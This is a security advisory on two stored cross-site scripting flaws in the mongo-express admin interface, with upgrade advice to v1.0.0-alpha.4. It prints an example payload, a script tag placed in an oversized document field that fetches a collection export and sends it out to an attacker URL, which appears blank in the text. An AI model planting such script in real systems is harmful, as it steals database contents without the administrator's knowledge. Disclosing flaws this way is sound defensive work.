Severity: high

    Cross-site scripting



    Two kinds of XSS were found in affected versions of mongo-express.

    1. As mentioned in when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
    2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.


    As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

    {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch(''+encodeURIComponent((await res.text())))) </script>"  }

    This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.


    Upgrade to v1.0.0-alpha.4

    For more information

    If you have any questions or comments about this advisory:


    Upgrade to version 1.0.0-alpha.4 or later


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    Advisory timeline

    1. published

      Advisory Published
      Jun 28th, 2021
    2. reported

      Reported by Anonymous
      Jun 28th, 2021